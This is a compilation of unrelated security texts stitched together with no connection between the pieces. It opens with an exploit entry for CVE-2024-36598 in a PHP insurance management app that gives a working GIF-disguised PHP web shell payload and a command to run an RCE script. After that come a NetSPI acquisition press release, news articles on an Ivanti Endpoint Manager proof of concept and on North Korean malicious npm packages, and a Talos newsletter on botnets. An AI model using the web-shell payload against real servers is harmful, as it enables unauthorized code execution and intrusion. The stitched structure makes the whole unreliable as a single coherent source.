# Software Link: https://projectworlds.in/life-insurance-management-system-in-php/  
# Version: AEGON LIFE v1.0  
# Tested on: Linux  
# CVE: CVE-2024-36598

# Description:  
----------------

-An arbitrary file upload vulnerability in Aegon Life v1.0 allows attackers to execute arbitrary code via uploading a crafted PHP file by adding image/gif magic bytes in payload.

-In insertClient.php fileToUpload is only checking for image file but not checking for extensions, also header.php is not properly handling the redirection hence allowing Unauthenticated redirect.

# Payload:  
------------------

payload = "GIF89a;'<?php echo shell_exec($_GET[\'cmd\']); ?>'"

# RCE via executing exploit:  
---------------------------------------

    # Step : run the exploit in python with this command: python3 shell.py  http://localhost/lims/  
    # will lead to RCE shell.

PRESS RELEASE

MINNEAPOLIS, June 13, 2024 /PRNewswire/ -- NetSPI, the proactive security solution, today announced its acquisition of Hubble Technology Inc. ("Hubble"), a Northern Virginia-based cyber asset attack surface management (CAASM) and cybersecurity posture management solution. The integration of Hubble's Asset Intelligence™ and CAASM product, Aurora™, into The NetSPI Platform will empower security teams to achieve complete visibility of their rapidly evolving attack surfaces and tackle asset and exposure management challenges.

Hubble's agentless CAASM platform enables organizations to continuously identify new assets and risks, remediate security control blind spots, and gain a holistic view of their security posture by providing an accurate inventory of cyber assets, both external and internal. Hubble was founded in 2020 with the backing of Accel, CrowdStrike Falcon Fund, and Paladin Capital. The company's Founder, Tom Parker, will join NetSPI as Chief Technology Officer (CTO).

According to Forrester's The Attack Surface Management Solutions Landscape, Q2 2024, "External attack surface management (EASM) vendors tend to use the external discovery scans as a jumping-off point for managing exposures, while CAASM vendors provide more context on the asset and its controls. Both are crucial foundations for teams to better prioritize and remediate security gaps."

With the acquisition of Hubble, NetSPI will deliver both EASM and CAASM capabilities within The NetSPI Platform to continuously discover, prioritize, and remediate vulnerabilities and exposures across the entire IT asset estate – from the cloud to bring-your-own-device (BOYD) and industrial control environments. This will also significantly enhance and accelerate NetSPI's ability to accurately prioritize risk associated with assets and vulnerabilities in customer networks and help them assess the exposure to their most important assets relative to these risks.

"This acquisition is one of the most notable milestones on our journey from point-in-time pentesting to technology-enabled proactive security," said Aaron Shilts, CEO at NetSPI. "You can't secure what you don't have visibility into. We support the most trusted brands on Earth giving them visibility into external/cloud assets and exposures. With Hubble's CAASM solution, we can provide comprehensive, 360-degree visibility while delivering telemetry and insights across the entire IT estate. We are thrilled to welcome Tom and Hubble to team NetSPI and look forward to the expertise he will bring as our new CTO driving innovation across our products."

As CTO, Tom will drive business growth through innovation across NetSPI's proactive security solutions and partner with customers to keep pace with the ever-changing technology and threat landscapes. Prior to forming Hubble, Tom was CTO at Accenture Security, leading growth strategy and M&A. He joined Accenture Security through the sale of his prior startup, FusionX, which was an early pioneer in commercial cybersecurity red teaming.

"The security industry notoriously creates siloed solutions that only address a small part of the problem. That's not the case with NetSPI," shared Tom Parker, Founder of Hubble and NetSPI CTO. "For the first time, with the introduction of CAASM, security leaders will have a holistic end-to-end view of their security posture in a single platform. I am delighted to join this proactive security powerhouse as their new CTO, helping customers reduce risk, drive efficiency, and strengthen the confidence that their security platforms represent a full picture of their environment."

NetSPI customers can expect to see CAASM within The NetSPI Platform later this year. To learn more about the CAASM solution, reach out at www.netspi.com/contact or visit www.netspi.com/caasm.

Join Aaron and Tom on July 17 for a live webcast where they will showcase Hubble's technology and discuss the importance of bringing EASM and CAASM together to achieve holistic attack surface management. Register today.

A new month, a new high-risk Ivanti bug for attackers to exploit — this time, an SQL injection issue in its centralized endpoint manager.

Source: Phichak via Alamy Stock Photo

Researchers have developed a proof-of-concept (PoC) exploit for a critical vulnerability in Ivanti Endpoint Manager that was recently disclosed — potentially setting the stage for mass exploitation of the devices.

CVE-2024-29824, an SQL injection bug, was first discovered by an independent researcher and sold to Trend Micro's Zero Day Initiative (ZDI). ZDI informed Ivanti of the issue on April 3.

It affects the company's centralized endpoint management solution, an attractive target for any hacker interested in compromising many devices across an organization from one launch point. The issue allows unauthenticated attackers to perform remote code execution (RCE) in the program, earning it a critical 9.8 out of 10 CVSS score.

"Endpoint Manager is usually elevated, so this really allows you to take over an Ivanti system," says Dustin Childs, head of threat awareness at ZDI. "From there, they would be able to affect other systems and do whatever you're using the Endpoint Manager to do."

The specific flaw lay in "RecordGoodApp," a method within a dynamic link library (DLL) file called "PatchBiz," contained within the program's core server. As outlined in a new blog post from Horizon3.ai, which published the PoC on GitHub, an attacker can take advantage of RecordGoodApp's very first string, which does not sufficiently validate user input data before constructing SQL queries. They demonstrated as much by sending a "fairly trivial" request to an endpoint handling events, convincing it to run Windows Notepad.

**Ivanti's Response**

Few organizations in cybersecurity history have been taken to task like Ivanti this year. Initially there were a couple of zero-day vulnerabilities, then another, then a whole lot more. Patches rolled in slowly and exploits skyrocketed, including some especially high-profile cases. Then, just as the bad press was finally starting to die down, this latest vulnerability arrived, equal in posing risk to corporations as any that had come before.

The good news: Childs emphasizes that, despite Ivanti's recent troubles, it handled this latest vulnerability by the book.

"It's not like we had to convince them \[to patch\]. We reported it to them, and they immediately got on it. They produced a patch within six weeks. That's about as good as you're going to see," he says. "So yes, they've had a lot of security problems this year, but they have made tremendous strides in addressing those problems in a very timely manner."

Ivanti published a patch for CVE-2024-29824 alongside its disclosure on May 24. Customers who haven't yet would be well advised to implement it as soon as possible, since threat actors have a history of piling on Ivanti vulnerabilities anyway, and an available, working PoC will likely spur them on further.

Besides patching, organizations can also focus on keeping their management interfaces protected from the wider Web. "Make sure that if your Endpoint Manager is Internet accessible, you restrict it to some very specific IP addresses that are \[trusted\]," Childs says.

PoC Exploit Emerges for Critical RCE Bug in Ivanti Endpoint Manager

The recently identified threat actor uses public registries for distribution and has expanded capabilities to disrupt the software supply chain.

Source: Igor Stevanovic via Alamy Stock Photo

A newly identified North Korean threat actor has widened its distribution of malicious node package manager (npm) code to public registries. And it's differentiating itself from other state-sponsored groups as it ramps up activity to threaten the software supply chain by poisoning open source code repositories.

Moonstone Sleet first appeared on the scene late last month, when Microsoft revealed that the threat group concurrently was engaged in espionage and financial cyberattacks using a grab bag of attack techniques against aerospace, education, and software organizations and developers.

Among those techniques was to try to get hired for remote tech jobs with real companies and, in the process, spread malicious npm packages on LinkedIn and freelancer websites. Now researchers from CheckMarx have discovered that the scope of Moonstone Sleet's malicious npm package activity is wider than first reported, according to a blog post published on June 13.

The actor is "placing those malicious packages in public open source package repositories that are accessible to developers," an activity that allows the actor to expand its attack surface, Tzachi Zornstein, head of software supply chain at Checkmarx, tells Dark Reading.

"With the revelation of this new North Korean group, coupled with the recent attacks by Russian and North Korean threat actors … it has become increasingly apparent that the open-source ecosystem has become a prime target for powerful and sophisticated adversaries," Zornstein and fellow CheckMarx researcher Yehuda Gelb wrote in the post.

The researchers cite the multiyear supply chain attack that started with a backdoor implanted in the XZ Utils data compression utility to demonstrate how spreading malicious open source code can have a massive ripple effect across the security of enterprise software.

**Differentiation From Lazarus Activity**

CheckMarx also discovered how Moonstone Sleet is setting itself apart through the structure and the style of its malicious code packages from another well-known and prolific North Korean actor — Jade Sleet, better known as Lazarus — that engages in similar activity.

The newest packages published late last year and in the first quarter of 2024 show Moonstone Sleet using "a single-package approach" that executes its payload immediately upon installation, the researchers wrote.

Further, while earlier malicious payloads "included OS-specific code, executing only if it detected that it was running on a Windows machine," packages released earlier this year show the actor adding obfuscation and creating code to target Linux systems if that OS is detected by the package, the researchers revealed.

In contrast, Lazarus designed its packages, discovered in the summer of 2023, to work in pairs, with each pair being published by a separate npm user account to distribute their malicious functionality. "This approach was used in an attempt to make it more challenging to detect and trace the malicious activity back to a single source," Zornstein and Gelb wrote.

The first package from Lazarus would create a directory on the victim's machine, fetch updates from a remote server, and save them in a file within the newly created directory, while the second package would execute the malicious payload.

**Evolving Threat to Open Source Ecosystem**

The tactic of publishing malicious npm packages by North Korean threat actors in general "underscores the persistent nature of their campaign" and poses a growing risk for the open source community that depends on public registries for software development.

"By uploading those malicious packages to a public registry, the attackers abuse the trust that developers have for the open source registries," Zornstein says.

However, while the open source community plays a key role in maintaining the security and integrity of the ecosystem, the primary responsibility for ensuring the safety of the software supply chain lies with the organizations that consume these packages. That's why it's imperative for organizations to "scan the code in the packages for malicious behaviors … prior to making the code available to developers," he says.

Developers and organizations also should continue to collaborate and share information among themselves and with the security community to identify and thwart these attacks, the researchers said. "Through collective effort and proactive measures," they wrote, "we can work towards a safer and more secure open-source ecosystem for all."

North Korea's Moonstone Sleet Widens Distribution of Malicious Code

A botnet is a network of computers or other internet-connected devices that are infected by malware and controlled by a single threat actor or group.

Thursday, June 13, 2024 14:00

As I covered in last week’s newsletter, law enforcement agencies from around the globe have been touting recent botnet disruptions affecting the likes of some of the largest threat actors and malware families.  

Operation Endgame, which Europol touted as the “largest ever operation against botnets,” targeted malware droppers including the IcedID banking trojan, Trickbot ransomware, the Smokeloader malware loader, and more.  

A separate disruption campaign targeted a botnet called “911 S5,” which the FBI said was used to “commit cyber attacks, large-scale fraud, child exploitation, harassment, bomb threats, and export violations.” 

But with these types of announcements, I think there can be confusion about what a botnet disruption means, exactly. As we’ve written about before in the case of the LockBit ransomware, botnet and server disruptions can certainly cause headaches for threat actors, but usually are not a complete shutdown of their operations, forcing them to go offline forever.  

I’m not saying that Operation Endgame and the 911 S5 disruption aren’t huge wins for defenders, but I do think it’s important to separate botnets from the malware and threat actors themselves.  

For the uninitiated, a botnet is a network of computers or other internet-connected devices that are infected by malware and controlled by a single threat actor or group. Larger botnets are often used to send spam emails in large volumes or carry out distributed denial-of-service attacks by using a mountain of IP addresses to send traffic to a specific target all in a short period. Smaller botnets might be used in targeted network intrusions, or financially motivated botnet controllers might be looking to steal money from targets. 

When law enforcement agencies remove devices from these botnets, it does disrupt actors’ abilities to carry out these actions, but it’s not necessarily the end of the final payload these actors usually use, such as ransomware.  

When discussing this topic in relation to the Volt Typhoon APT, Kendall McKay from our threat intelligence team told me in the latest episode of Talos Takes that botnets should be viewed as separate entity from a malware family or APT. In the case of Volt Typhoon, the FBI said earlier this year it had disrupted the Chinese APT’s botnet, though McKay said “we’re not sure yet” if this has had any tangible effects on their operations. 

With past major botnet disruptions like Emotet and other Trickbot efforts, she also said that “eventually, those threats re-emerge, and the infected devices re-propagate \[because\] they have worm-like capabilities.” 

So, the next time you see headlines about a botnet disruption, know that yes, this is good news, but it’s also not time to start thinking the affected malware is gone forever.  

**The one big thing **

This week, Cisco Talos disclosed a new malware campaign called “Operation Celestial Force” running since at least 2018. It is still active today, employing the use of GravityRAT, an Android-based malware, along with a Windows-based malware loader we track as “HeavyLift.” Talos attributes this operation with high confidence to a Pakistani nexus of threat actors we’re calling “Cosmic Leopard,” focused on espionage and surveillance of their targets.  

**Why do I care? **

While this operation has been active for at least the past six years, Talos has observed a general uptick in the threat landscape in recent years, with respect to the use of mobile malware for espionage to target high-value targets, including the use of commercial spyware. There are two ways that this attacker commonly targets users to be on the lookout for: One is spearphishing emails that look like they’re referencing legitimate government-related documents and issues, and the other is social media-based phishing.

**So now what? **

Adversaries like Cosmic Leopard may use low-sophistication techniques such as social engineering and spear phishing, but will aggressively target potential victims with various TTPs. Therefore, organizations must remain vigilant against such motivated adversaries conducting targeted attacks by educating users on proper cyber hygiene and implementing defense in depth models to protect against such attacks across various attack surfaces. 

**Top security headlines of the week **

**Microsoft announced changes to its Recall AI service after privacy advocates and security engineers warned about the potential privacy dangers of such a feature.** The Recall tool in Windows 11 takes continuous screenshots of users’ activity which can then be queried by the user to do things like locate files or remember the last thing they were working on. However, all that data collected by Recall is stored locally on the device, potentially opening the door to data theft if a machine were to be compromised. Now, Recall will be opt-in only, meaning it’ll be turned off by default for users when it launches in an update to Windows 11. The feature will also be tied to the Windows Hello authentication protocol, meaning anyone who wants to look at their timeline needs to log in with face or fingerprint ID, or a unique PIN. After Recall’s announcement, security researcher Kevin Beaumont discovered that the AI-powered feature stored data in a database in plain text. That could have made it easy for threat actors to create tools to extract the database and its contents. Now, Microsoft has also made it so that these screenshots and the search index database are encrypted, and are only decrypted if the user authenticates. (The Verge, CNET) 

**A data breach affecting cloud storage provider Snowflake has the potential to be one of the largest security events ever** if the alleged number of affected users is accurate. Security researchers helping to address the attack targeting Snowflake said this week that financially motivated cybercriminals have stolen “a significant volume of data” from hundreds of customers. As many as 165 companies that use Snowflake could be affected, which is notable because Snowflake is generally used to store massive volumes of data on its servers. Breaches affecting Ticketmaster, Santander bank and Lending Tree have already been linked to the Snowflake incident. Incident responders working on the breach wrote this week that the attackers used stolen credentials to access customers’ Snowflake instances and steal valuable data. The activity dates back to at least April 14. Reporters at online news outlet TechCrunch also found that hundreds of Snowflake customer credentials were available on the dark web, after malware infected Snowflake staffers’ computers. The list poses an ongoing risk to any Snowflake users who had not changed their passwords as of the first disclosure of this breach or are not protected by multi-factor authentication.

**Recovery of a cyber attack affecting several large hospitals in London could take several months to resolve, according to an official with the U.K.’s National Health Service.** The affected hospitals and general practitioners’ offices serve a combined 2 million patients. A recent cyber attack targeting a private firm called Synnovis that analyzes blood tests has forced these offices to reschedule appointments and cancel crucial surgeries. “It is unclear how long it will take for the services to get back to normal, but it is likely to take many months,” the NHS official told The Guardian newspaper. Britain also had to put out a call for volunteers to donate type O blood as soon as possible, as the attack has made it more difficult for health care facilities to match patients’ blood types at the same frequency as usual. Type O blood is generally known to be safe for all patients and is commonly used in major surgeries. (BBC, The Guardian)
